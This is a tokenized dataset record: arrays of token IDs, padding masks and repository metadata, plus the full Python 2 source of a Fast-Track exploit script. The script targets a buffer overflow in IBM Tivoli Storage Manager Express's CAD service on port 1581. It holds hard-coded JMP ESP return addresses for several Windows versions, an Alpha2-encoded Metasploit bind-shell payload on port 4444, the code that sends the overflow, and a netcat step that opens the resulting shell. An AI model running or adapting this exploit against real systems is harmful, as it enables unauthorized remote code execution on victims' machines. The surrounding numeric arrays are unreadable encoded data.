275, 3590, 3264, 14, 362, 63, 1069, 63, 2227, 8, 277, 14, 1069, 9, 288, 862, 26, 355, 1526, 275, 3590, 3264, 14, 1462, 14, 1541, 8, 751, 29, 1069, 14, 751, 12, 1740, 1056, 63, 2227, 29, 1069, 63, 2227, 12, 1740, 4499, 4581, 1740, 12261, 363, 3308, 29, 2131, 18756, 16, 61, 355, 1526, 14, 6635, 342, 355, 2512, 14, 815, 8, 7853, 63, 505, 8, 85, 2, 1899, 1052, 10367, 315, 1674, 908, 8, 277, 14, 1069, 14, 751, 14, 2473, 1724, 288, 871, 7888, 26, 355, 1526, 275, 3590, 3264, 14, 1462, 14, 981, 8, 751, 29, 1069, 14, 751, 12, 1740, 1056, 63, 2227, 29, 1069, 63, 2227, 9, 355, 2512, 14, 815, 8, 7853, 63, 505, 8, 85, 2, 1899, 1052, 10367, 315, 1674, 908, 8, 277, 14, 1069, 14, 751, 14, 2473, 1724, 288, 1056, 14, 1730, 459, 1178, 63, 1418, 63, 498, 418, 275, 1526, 14, 498, 288, 1526, 63, 498, 275, 4011, 14, 3513, 32681, 83, 4507, 450, 1526, 14, 498, 9, 288, 1177, 14, 409, 63, 5306, 360, 1418, 297, 1526, 63, 498, 9, 288, 1526, 63, 12342, 275, 1526, 14, 12342, 14, 29648, 8, 5834, 680, 6205, 3508, 57, 3295, 77, 3295, 19772, 5, 40, 2689, 45, 2689, 51, 358, 288, 1526, 63, 12342, 275, 1543, 83, 4111, 1644, 68, 58, 7, 450, 334, 1418, 63, 12342, 12, 1526, 14, 12342, 14, 16627, 1182, 5198, 9, 288, 1526, 63, 12342, 275, 4011, 14, 3513, 32681, 83, 4507, 450, 1526, 63, 12342, 9, 288, 1177, 14, 409, 63, 5306, 360, 1418, 63, 12342, 297, 1526, 63, 12342, 9, 288, 1177, 14, 409, 63, 5306, 360, 751, 28985, 607, 297, 283, 2052, 358, 288, 1453, 63, 751, 275, 2876, 7299, 8, 277, 14, 1069, 14, 751, 9, 288, 1453, 63, 751, 275, 4840, 11355, 1252, 3352, 8, 1818, 63, 751, 14, 576, 9, 288, 1453, 63, 751, 275, 4011, 14, 3513, 3508, 83, 7, 450, 1453, 63, 751, 12, 4074, 288, 1177, 14, 409, 63, 5306, 360, 1818, 63, 751, 297, 1453, 63, 751, 9, 267, 372, 1177, 421, 199, 25479, 63, 4883, 275, 28393, 2768, 14, 305, 63, 1345, 342, 421, 199, 533, 16160, 2768, 8, 2768, 304, 339, 347, 664, 8, 277, 12, 1056, 12, 627, 589, 12, 1011, 958, 304, 267, 687, 20295, 14, 5181, 14, 1176, 63, 571, 14, 1208, 492, 2248, 63, 4620, 12, 2248, 63, 8590, 267, 4890, 63, 633, 275, 3837, 360, 13574, 26, 4883, 297, 1249, 7782, 29338, 297, 5082, 267, 25607, 63, 4620, 275, 2248, 63, 4620, 8, 288, 2248, 63, 8590, 8, 1069, 395, 288, 283, 29338, 297, 288, 4660, 63, 2302, 29, 4883, 63, 633, 12, 267, 776, 267, 862, 26, 288, 3341, 12, 2552, 275, 25607, 63, 4620, 14, 4208, 63, 2343, 63, 1652, 342, 267, 871, 2186, 465, 325, 26, 288, 2512, 14, 1971, 360, 17200, 370, 3550, 428, 10107, 3341, 358, 288, 2552, 275, 325, 267, 340, 440, 2552, 26, 288, 372, 6183, 8, 1317, 29, 2343, 12, 1564, 63, 466, 534, 505, 15, 1652, 358, 267, 587, 26, 288, 372, 6183, 8, 1317, 29, 495, 8, 2550, 395, 1564, 63, 466, 534, 505, 15, 6104, 358, 421, 199, 29338, 63, 2343, 275, 16160, 2768, 14, 305, 63, 1345, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 67, 9, 6900, 2622, 12, 3277, 14, 199, 3, 2900, 5924, 5702, 14, 199, 199, 3, 2018, 199, 646, 4011, 199, 646, 2050, 199, 199, 3, 5634, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 1014, 492, 6183, 199, 504, 1639, 14, 1208, 14, 7145, 492, 3063, 12, 19314, 199, 504, 1639, 14, 4196, 14, 6767, 492, 10935, 199, 504, 1639, 14, 4196, 14, 6767, 14, 1095, 492, 18532, 2768, 199, 504, 1639, 14, 1208, 14, 2991, 492, 11179, 63, 505, 199, 199, 3, 5634, 14880, 22545, 199, 504, 4618, 63, 4857, 14, 828, 26529, 492, 4840, 11355, 199, 199, 3, 437, 16783, 199, 504, 282, 6323, 14, 973, 14, 992, 492, 3590, 3264, 199, 504, 282, 6323, 14, 1246, 14, 12844, 492, 2876, 7299, 199, 199, 2921, 275, 2050, 14, 5572, 360, 65, 6323, 14, 25479, 14, 4196, 358, 421, 199, 533, 3523, 7071, 2768, 8, 7071, 2768, 304, 339, 19860, 275, 715, 339, 347, 664, 63, 4876, 63, 633, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 2061, 63, 515, 275, 291, 14, 1069, 14, 12189, 2563, 14, 362, 360, 2019, 2042, 297, 4074, 267, 2061, 63, 515, 275, 4011, 14, 3513, 8, 4078, 14, 12240, 8, 2019, 63, 515, 680, 1913, 14088, 1333, 267, 1166, 275, 3837, 360, 1907, 26, 1080, 358, 267, 340, 2061, 63, 515, 26, 288, 372, 1543, 83, 25745, 83, 7, 450, 334, 633, 12, 2061, 63, 515, 9, 267, 587, 26, 288, 372, 1166, 421, 199, 25479, 63, 705, 275, 3523, 7071, 2768, 14, 305, 63, 1345, 342, 199, 25479, 63, 16856, 275, 3523, 7071, 2768, 14, 305, 63, 1345, 342, 421, 199, 533, 28393, 2768, 8, 1563, 7071, 2768, 304, 339, 347, 7634, 8, 277, 12, 1056, 12, 627, 589, 12, 1011, 958, 304, 267, 1177, 275, 1613, 8, 14175, 2768, 12, 291, 680, 6052, 8, 1069, 12, 627, 589, 12, 1011, 958, 9, 267, 340, 291, 14, 1069, 14, 751, 436, 291, 14, 1069, 14, 751, 14, 374, 63, 12177, 837, 288, 1056, 63, 2227, 275, 3590, 3264, 14, 362, 63, 1069, 63, 2227, 8, 277, 14, 1069, 9, 288, 862, 26, 355, 1526, 275, 3590, 3264, 14, 1462, 14, 1541, 8, 751, 29, 1069, 14, 751, 12, 1740, 1056, 63, 2227, 29, 1069, 63, 2227, 12, 1740, 4499, 4581, 1740, 12261, 363, 3308, 29, 2131, 18756, 16, 61, 355, 1526, 14, 6635, 342, 355, 2512, 14, 815, 8, 7853, 63, 505, 8, 85, 2, 1899, 1052, 10367, 315, 1674, 908, 8, 277, 14, 1069, 14, 751, 14, 2473, 1724, 288, 871, 7888, 26, 355, 1526, 275, 3590, 3264, 14, 1462, 14, 981, 8, 751, 29, 1069, 14, 751, 12, 1740, 1056, 63, 2227, 29, 1069, 63, 2227, 9, 355, 2512, 14, 815, 8, 7853, 63, 505, 8, 85, 2, 1899, 1052, 10367, 315, 1674, 908, 8, 277, 14, 1069, 14, 751, 14, 2473, 1724, 288, 1056, 14, 1730, 459, 1178, 63, 1418, 63, 498, 418, 275, 1526, 14, 498, 288, 1526, 63, 498, 275, 4011, 14, 3513, 32681, 83, 4507, 450, 1526, 14, 498, 9, 288, 1177, 14, 409, 63, 5306, 360, 1418, 297, 1526, 63, 498, 9, 288, 1526, 63, 12342, 275, 1526, 14, 12342, 14, 29648, 8, 5834, 680, 6205, 3508, 57, 3295, 77, 3295, 19772, 5, 40, 2689, 45, 2689, 51, 358, 288, 1526, 63, 12342, 275, 1543, 83, 4111, 1644, 68, 58, 7, 450, 334, 1418, 63, 12342, 12, 1526, 14, 12342, 14, 16627, 1182, 5198, 9, 288, 1526, 63, 12342, 275, 4011, 14, 3513, 32681, 83, 4507, 450, 1526, 63, 12342, 9, 288, 1177, 14, 409, 63, 5306, 360, 1418, 63, 12342, 297, 1526, 63, 12342, 9, 288, 1177, 14, 409, 63, 5306, 360, 751, 28985, 607, 297, 283, 2052, 358, 288, 1453, 63, 751, 275, 2876, 7299, 8, 277, 14, 1069, 14, 751, 9, 288, 1453, 63, 751, 275, 4840, 11355, 1252, 3352, 8, 1818, 63, 751, 14, 576, 9, 288, 1453, 63, 751, 275, 4011, 14, 3513, 3508, 83, 7, 450, 1453, 63, 751, 12, 4074, 288, 1177, 14, 409, 63, 5306, 360, 1818, 63, 751, 297, 1453, 63, 751, 9, 267, 372, 1177, 421, 199, 25479, 63, 4883, 275, 28393, 2768, 14, 305, 63, 1345, 342, 421, 199, 533, 16160, 2768, 8, 2768, 304, 339, 347, 664, 8, 277, 12, 1056, 12, 627, 589, 12, 1011, 958, 304, 267, 687, 20295, 14, 5181, 14, 1176, 63, 571, 14, 1208, 492, 2248, 63, 4620, 12, 2248, 63, 8590, 267, 4890, 63, 633, 275, 3837, 360, 13574, 26, 4883, 297, 1249, 7782, 29338, 297, 5082, 267, 25607, 63, 4620, 275, 2248, 63, 4620, 8, 288, 2248, 63, 8590, 8, 1069, 395, 288, 283, 29338, 297, 288, 4660, 63, 2302, 29, 4883, 63, 633, 12, 267, 776, 267, 862, 26, 288, 3341, 12, 2552, 275, 25607, 63, 4620, 14, 4208, 63, 2343, 63, 1652, 342, 267, 871, 2186, 465, 325, 26, 288, 2512, 14, 1971, 360, 17200, 370, 3550, 428, 10107, 3341, 358, 288, 2552, 275, 325, 267, 340, 440, 2552, 26, 288, 372, 6183, 8, 1317, 29, 2343, 12, 1564, 63, 466, 534, 505, 15, 1652, 358, 267, 587, 26, 288, 372, 6183, 8, 1317, 29, 495, 8, 2550, 395, 1564, 63, 466, 534, 505, 15, 6104, 358, 421, 199, 29338, 63, 2343, 275, 16160, 2768, 14, 305, 63, 1345, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
goofwear/raspberry_pwn
src/pentest/fasttrack/bin/exploits/ibmcad.py
16
5371
#!/usr/bin/env python import sys import os import socket import time #from bin.include import print_banner #print_banner() try: import psyco psyco.full() except ImportError: pass choice=raw_input(""" Enter which version you want to target: All JMP ESP's are performed in User32.dll 1. Windows 2000 Service Pack 0 - JMP ESP 77D20738 2. Windows 2000 Service Pack 4 - JMP ESP 77e3c256 3. Windows 2003 Service Pack 0 and 1 - JMP ESP 77d20738 4. Windows XP SP2 - JMP ESP 77d8af0a <ctrl>-c to Cancel Enter number: """) if choice == '1': choice=("\x38\x07\xD2\x77") print " JMP ESP set to: '\\x38\\x07\\xD2\\x77'" if choice == '2': choice=("\x56\xc2\xe3\x77") print " JMP ESP set to: '\\x56\\xc2\\xe3\\x77'" if choice == '3': choice=("\x38\x07\xd2\x77") print " JMP ESP set to: '\\x38\\x07\\xd2\\x77'" if choice == '4': choice=("\x0a\xaf\xd8\x77") print " JMP ESP set to: '\\x0a\\xaf\\xd8\\x77'" try: try: target=sys.argv[4] except IndexError: target=raw_input("\n Enter the IP Address to Attack: ") buffer="BirdsflyinghighyouknowhowIfeel" buffer+="SunintheskyyouknowhowIfeel" buffer+="ReeedsdriftinonbyyouknowhowIfeel" buffer+="ItsanewdawnItsanewdayItsanewlifeForme" buffer+="ItsanewdawnItsanewdayItsanewlifeFormeitsanewdawnitsanewdayforme" buffer+=(choice) buffer+="\x90"*4 buffer+=( # win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */ "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x37\x49" "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x61" "\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x71\x41\x32\x41\x41\x32" "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x68\x69\x49\x6c\x31" "\x7a\x68\x6b\x62\x6d\x49\x78\x4b\x49\x39\x6f\x6b\x4f\x39\x6f\x33" "\x50\x4e\x6b\x52\x4c\x34\x64\x74\x64\x6e\x6b\x42\x65\x67\x4c\x6c" "\x4b\x41\x6c\x46\x65\x42\x58\x57\x71\x7a\x4f\x6c\x4b\x50\x4f\x65" "\x48\x4e\x6b\x71\x4f\x51\x30\x37\x71\x58\x6b\x77\x39\x4e\x6b\x75" "\x64\x4c\x4b\x53\x31\x5a\x4e\x44\x71\x4b\x70\x6f\x69\x6e\x4c\x6c" "\x44\x69\x50\x42\x54\x45\x57\x4f\x31\x7a\x6a\x36\x6d\x54\x41\x6b" "\x72\x78\x6b\x69\x64\x47\x4b\x50\x54\x36\x44\x64\x68\x43\x45\x4a" "\x45\x6e\x6b\x41\x4f\x56\x44\x65\x51\x48\x6b\x75\x36\x6c\x4b\x64" "\x4c\x50\x4b\x6e\x6b\x71\x4f\x77\x6c\x34\x41\x48\x6b\x53\x33\x66" "\x4c\x6e\x6b\x4b\x39\x30\x6c\x36\x44\x65\x4c\x51\x71\x4f\x33\x57" "\x41\x39\x4b\x71\x74\x4c\x4b\x50\x43\x76\x50\x4e\x6b\x41\x50\x54" "\x4c\x6e\x6b\x32\x50\x45\x4c\x4c\x6d\x6e\x6b\x47\x30\x36\x68\x73" "\x6e\x32\x48\x6c\x4e\x30\x4e\x56\x6e\x5a\x4c\x56\x30\x6b\x4f\x4b" "\x66\x71\x76\x62\x73\x31\x76\x45\x38\x74\x73\x76\x52\x71\x78\x63" "\x47\x63\x43\x76\x52\x31\x4f\x41\x44\x79\x6f\x4e\x30\x65\x38\x58" "\x4b\x48\x6d\x4b\x4c\x75\x6b\x72\x70\x6b\x4f\x7a\x76\x71\x4f\x6f" "\x79\x6d\x35\x51\x76\x6c\x41\x58\x6d\x65\x58\x57\x72\x73\x65\x73" "\x5a\x44\x42\x49\x6f\x6e\x30\x31\x78\x4e\x39\x64\x49\x6a\x55\x4e" "\x4d\x53\x67\x79\x6f\x6e\x36\x41\x43\x31\x43\x46\x33\x73\x63\x42" "\x73\x30\x43\x41\x43\x32\x63\x70\x53\x4b\x4f\x38\x50\x43\x56\x71" "\x78\x74\x51\x33\x6c\x31\x76\x70\x53\x4e\x69\x5a\x41\x4d\x45\x41" "\x78\x4c\x64\x35\x4a\x30\x70\x6b\x77\x52\x77\x6b\x4f\x6e\x36\x62" "\x4a\x34\x50\x72\x71\x76\x35\x69\x6f\x4e\x30\x45\x38\x6e\x44\x4c" "\x6d\x46\x4e\x4d\x39\x46\x37\x59\x6f\x4b\x66\x30\x53\x62\x75\x49" "\x6f\x38\x50\x63\x58\x6b\x55\x37\x39\x4e\x66\x71\x59\x41\x47\x6b" "\x4f\x5a\x76\x70\x50\x51\x44\x31\x44\x70\x55\x6b\x4f\x68\x50\x6e" "\x73\x71\x78\x59\x77\x70\x79\x5a\x66\x71\x69\x66\x37\x6b\x4f\x6a" "\x76\x52\x75\x4b\x4f\x5a\x70\x71\x76\x31\x7a\x55\x34\x31\x76\x72" "\x48\x50\x63\x72\x4d\x6f\x79\x78\x65\x53\x5a\x72\x70\x72\x79\x76" "\x49\x78\x4c\x4b\x39\x4d\x37\x53\x5a\x32\x64\x6d\x59\x6a\x42\x37" "\x41\x6b\x70\x4b\x43\x4f\x5a\x49\x6e\x63\x72\x56\x4d\x49\x6e\x30" "\x42\x64\x6c\x6d\x43\x6c\x4d\x62\x5a\x75\x68\x6c\x6b\x6e\x4b\x6e" "\x4b\x50\x68\x43\x42\x49\x6e\x6c\x73\x62\x36\x69\x6f\x74\x35\x30" "\x44\x6b\x4f\x48\x56\x53\x6b\x70\x57\x73\x62\x71\x41\x70\x51\x76" "\x31\x63\x5a\x57\x71\x42\x71\x66\x31\x72\x75\x71\x41\x49\x6f\x68" "\x50\x75\x38\x4c\x6d\x79\x49\x74\x45\x5a\x6e\x32\x73\x4b\x4f\x6e" "\x36\x72\x4a\x6b\x4f\x6b\x4f\x50\x37\x79\x6f\x4e\x30\x6e\x6b\x46" "\x37\x69\x6c\x4f\x73\x69\x54\x52\x44\x49\x6f\x4b\x66\x43\x62\x6b" "\x4f\x5a\x70\x51\x78\x7a\x50\x4f\x7a\x76\x64\x31\x4f\x33\x63\x4b" "\x4f\x48\x56\x49\x6f\x48\x50\x61") expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) print " [*] Connecting to "+target expl.connect ( ( target, 1581 ) ) print " [*] Sending evil buffer, ph33r" expl.send ( 'GET /BACLIENT HTTP/1.0\r\nHost: 192.168.1.1 '+ buffer+'\r\n\r\n') expl.close() print " [*] Check port 4444 for bindshell" print " Launching netcat to check...If you have a shell you were successful..." ncstart=os.popen2('xterm -T "IBM Tivoli Storage Manager Express CAD Service Buffer Overflow" -e nc -v %s 4444' % (target)) except Exception, e: print "\n Something went wrong. Might not be vulnerable..\n Printing error: "+str(e)+"\n Returning to exploits menu..." time.sleep(4)
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 646, 984, 199, 646, 747, 199, 646, 2838, 221, 199, 646, 900, 199, 3, 504, 2517, 14, 2613, 492, 870, 63, 13066, 199, 199, 3, 1361, 63, 13066, 342, 199, 199, 893, 26, 272, 492, 14177, 331, 272, 14177, 331, 14, 2861, 342, 199, 2590, 3545, 26, 272, 986, 199, 199, 5095, 29, 1773, 63, 1210, 4852, 259, 16401, 1314, 1015, 1265, 2934, 370, 1347, 26, 339, 2900, 1603, 1658, 31334, 1159, 787, 10585, 315, 2876, 708, 14, 9259, 339, 413, 14, 5417, 12293, 7591, 9954, 378, 446, 1603, 1658, 31334, 8375, 36, 10744, 1703, 272, 499, 14, 5417, 12293, 7591, 9954, 841, 446, 1603, 1658, 31334, 8375, 69, 19, 67, 3912, 5591, 650, 14, 5417, 13004, 7591, 9954, 378, 436, 413, 446, 1603, 1658, 31334, 8375, 68, 10744, 1703, 272, 841, 14, 5417, 1323, 48, 6988, 18, 446, 1603, 1658, 31334, 8375, 68, 24, 2756, 16, 65, 339, 665, 12476, 24860, 67, 370, 28374, 339, 16401, 1329, 26, 7857, 199, 692, 7141, 508, 283, 17, 356, 5591, 7141, 29, 4582, 88, 1703, 60, 88, 1780, 60, 8313, 18, 60, 88, 1138, 531, 272, 870, 298, 259, 1603, 1658, 31334, 663, 370, 26, 6468, 88, 1703, 1103, 88, 1780, 1103, 8313, 18, 1103, 88, 1138, 4065, 199, 199, 692, 7141, 508, 283, 18, 356, 5591, 7141, 29, 4582, 88, 1367, 60, 1812, 18, 60, 1845, 19, 60, 88, 1138, 531, 272, 870, 298, 259, 1603, 1658, 31334, 663, 370, 26, 6468, 88, 1367, 1103, 1812, 18, 1103, 1845, 19, 1103, 88, 1138, 4065, 199, 199, 692, 7141, 508, 283, 19, 356, 5591, 7141, 29, 4582, 88, 1703, 60, 88, 1780, 60, 2207, 18, 60, 88, 1138, 531, 272, 870, 298, 259, 1603, 1658, 31334, 663, 370, 26, 6468, 88, 1703, 1103, 88, 1780, 1103, 2207, 18, 1103, 88, 1138, 4065, 199, 199, 692, 7141, 508, 283, 20, 356, 5591, 7141, 29, 4582, 88, 16, 65, 60, 10850, 60, 2207, 24, 60, 88, 1138, 531, 272, 870, 298, 259, 1603, 1658, 31334, 663, 370, 26, 6468, 88, 16, 65, 1103, 10850, 1103, 2207, 24, 1103, 88, 1138, 4065, 199, 199, 893, 26, 272, 862, 26, 267, 1347, 29, 1274, 14, 3020, 59, 20, 61, 272, 871, 7888, 26, 267, 1347, 29, 1773, 63, 1210, 4582, 78, 259, 16401, 314, 3531, 9906, 370, 2854, 13058, 26, 6099, 272, 3335, 628, 34, 723, 795, 70, 6670, 6260, 13297, 14996, 1917, 41, 771, 352, 2, 272, 3335, 11, 628, 22546, 262, 273, 397, 75, 7566, 810, 14996, 1917, 41, 771, 352, 2, 272, 3335, 11, 628, 497, 69, 379, 3893, 6501, 262, 265, 991, 13297, 14996, 1917, 41, 771, 352, 2, 272, 3335, 11, 628, 11881, 290, 546, 983, 3501, 11881, 290, 546, 2977, 11881, 290, 546, 13602, 1858, 278, 2, 272, 3335, 11, 628, 11881, 290, 546, 983, 3501, 11881, 290, 546, 2977, 11881, 290, 546, 13602, 1858, 278, 1405, 290, 546, 983, 3501, 1405, 290, 546, 2977, 509, 278, 2, 272, 3335, 11, 2687, 5095, 9, 272, 3335, 11, 21024, 88, 2710, 31761, 20, 272, 3335, 11, 2687, 272, 327, 4747, 708, 63, 3409, 446, 221, 3651, 649, 19587, 29, 261, 72, 491, 3657, 29, 22872, 14579, 29, 15154, 3447, 2693, 29, 16192, 18, 1455, 921, 10207, 20222, 320, 390, 14, 957, 11589, 272, 1867, 10145, 60, 88, 1644, 60, 88, 1427, 60, 10145, 60, 88, 1717, 60, 1845, 24, 60, 1949, 24, 60, 3581, 60, 3581, 60, 3581, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1401, 60, 88, 1887, 2, 272, 1867, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 2869, 60, 88, 21, 65, 60, 88, 22, 65, 60, 88, 2976, 2, 272, 1867, 88, 2010, 60, 88, 1400, 60, 88, 1216, 60, 88, 2953, 60, 88, 2192, 60, 88, 2260, 60, 88, 2953, 60, 88, 22, 66, 60, 88, 2953, 60, 88, 2953, 60, 88, 3172, 60, 88, 2953, 60, 88, 708, 60, 88, 2953, 60, 88, 2953, 60, 88, 708, 2, 272, 1867, 88, 2260, 60, 88, 2953, 60, 88, 1216, 60, 88, 2260, 60, 88, 2953, 60, 88, 2010, 60, 88, 1400, 60, 88, 1703, 60, 88, 2953, 60, 88, 2260, 60, 88, 2194, 60, 88, 2333, 60, 88, 1876, 60, 88, 1887, 60, 88, 22, 67, 60, 88, 2192, 2, 272, 1867, 88, 23, 65, 60, 88, 2333, 60, 88, 22, 66, 60, 88, 2789, 60, 88, 22, 68, 60, 88, 1887, 60, 88, 2277, 60, 88, 20, 66, 60, 88, 1887, 60, 88, 1355, 60, 88, 22, 70, 60, 88, 22, 66, 60, 88, 20, 70, 60, 88, 1355, 60, 88, 22, 70, 60, 88, 1153, 2, 272, 1867, 88, 1400, 60, 88, 20, 69, 60, 88, 22, 66, 60, 88, 2528, 60, 88, 20, 67, 60, 88, 1082, 60, 88, 772, 60, 88, 1342, 60, 88, 772, 60, 88, 22, 69, 60, 88, 22, 66, 60, 88, 2260, 60, 88, 2182, 60, 88, 1822, 60, 88, 20, 67, 60, 88, 22, 67, 2, 272, 1867, 88, 20, 66, 60, 88, 2953, 60, 88, 22, 67, 60, 88, 2466, 60, 88, 2182, 60, 88, 2260, 60, 88, 2010, 60, 88, 1641, 60, 88, 3172, 60, 88, 23, 65, 60, 88, 20, 70, 60, 88, 22, 67, 60, 88, 20, 66, 60, 88, 1400, 60, 88, 20, 70, 60, 88, 2182, 2, 272, 1867, 88, 2006, 60, 88, 20, 69, 60, 88, 22, 66, 60, 88, 3172, 60, 88, 20, 70, 60, 88, 2869, 60, 88, 1216, 60, 88, 1401, 60, 88, 3172, 60, 88, 2010, 60, 88, 22, 66, 60, 88, 1138, 60, 88, 1355, 60, 88, 20, 69, 60, 88, 22, 66, 60, 88, 2194, 2, 272, 1867, 88, 772, 60, 88, 20, 67, 60, 88, 20, 66, 60, 88, 2481, 60, 88, 2192, 60, 88, 21, 65, 60, 88, 20, 69, 60, 88, 1602, 60, 88, 3172, 60, 88, 20, 66, 60, 88, 2760, 60, 88, 22, 70, 60, 88, 1876, 60 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 646, 984, 199, 646, 747, 199, 646, 2838, 221, 199, 646, 900, 199, 3, 504, 2517, 14, 2613, 492, 870, 63, 13066, 199, 199, 3, 1361, 63, 13066, 342, 199, 199, 893, 26, 272, 492, 14177, 331, 272, 14177, 331, 14, 2861, 342, 199, 2590, 3545, 26, 272, 986, 199, 199, 5095, 29, 1773, 63, 1210, 4852, 259, 16401, 1314, 1015, 1265, 2934, 370, 1347, 26, 339, 2900, 1603, 1658, 31334, 1159, 787, 10585, 315, 2876, 708, 14, 9259, 339, 413, 14, 5417, 12293, 7591, 9954, 378, 446, 1603, 1658, 31334, 8375, 36, 10744, 1703, 272, 499, 14, 5417, 12293, 7591, 9954, 841, 446, 1603, 1658, 31334, 8375, 69, 19, 67, 3912, 5591, 650, 14, 5417, 13004, 7591, 9954, 378, 436, 413, 446, 1603, 1658, 31334, 8375, 68, 10744, 1703, 272, 841, 14, 5417, 1323, 48, 6988, 18, 446, 1603, 1658, 31334, 8375, 68, 24, 2756, 16, 65, 339, 665, 12476, 24860, 67, 370, 28374, 339, 16401, 1329, 26, 7857, 199, 692, 7141, 508, 283, 17, 356, 5591, 7141, 29, 4582, 88, 1703, 60, 88, 1780, 60, 8313, 18, 60, 88, 1138, 531, 272, 870, 298, 259, 1603, 1658, 31334, 663, 370, 26, 6468, 88, 1703, 1103, 88, 1780, 1103, 8313, 18, 1103, 88, 1138, 4065, 199, 199, 692, 7141, 508, 283, 18, 356, 5591, 7141, 29, 4582, 88, 1367, 60, 1812, 18, 60, 1845, 19, 60, 88, 1138, 531, 272, 870, 298, 259, 1603, 1658, 31334, 663, 370, 26, 6468, 88, 1367, 1103, 1812, 18, 1103, 1845, 19, 1103, 88, 1138, 4065, 199, 199, 692, 7141, 508, 283, 19, 356, 5591, 7141, 29, 4582, 88, 1703, 60, 88, 1780, 60, 2207, 18, 60, 88, 1138, 531, 272, 870, 298, 259, 1603, 1658, 31334, 663, 370, 26, 6468, 88, 1703, 1103, 88, 1780, 1103, 2207, 18, 1103, 88, 1138, 4065, 199, 199, 692, 7141, 508, 283, 20, 356, 5591, 7141, 29, 4582, 88, 16, 65, 60, 10850, 60, 2207, 24, 60, 